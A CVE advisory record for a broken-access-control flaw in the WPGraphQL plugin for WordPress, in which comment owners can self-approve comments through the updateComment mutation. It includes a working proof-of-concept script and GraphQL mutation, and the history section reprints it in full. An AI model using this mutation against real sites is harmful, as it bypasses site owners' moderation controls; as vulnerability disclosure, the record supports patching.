CVE-2026-33290

WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission

Published Mar 23, 2026 CVSS 3.1 · 4.3 Medium EPSS < 1% KEV · Not listed
Description
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

### Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

### PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install
npm run wp-env start

2. Run this PoC:

```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");

$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);

$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);

wp_set_current_user($user_id);

$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);

echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```

3. Observe result:

- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1

### Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

No advisories available
History
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'poc', 'Technical Impact': 'partial'}, 'version': '2.0.3'}

Type Values Removed Values Added
First Time appeared Wordpress
Wordpress wordpress
Wpgraphql
Wpgraphql wpgraphql
Vendors & Products Wordpress
Wordpress wordpress
Wpgraphql
Wpgraphql wpgraphql
Type Values Removed Values Added
Description WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Title WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission
Weaknesses CWE-862
References
Metrics cvssV3_1

{'score': 4.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N'}

Weaknesses

Sources

Status
PUBLISHED
Assigner
GitHub_M
Published
Updated
Mar 24, 2026, 6:38 PM
Reserved
Mar 18, 2026, 6:55 PM
Status
Deferred
Published
Mar 24, 2026, 1:17 AM
Modified
Jun 17, 2026, 10:37 AM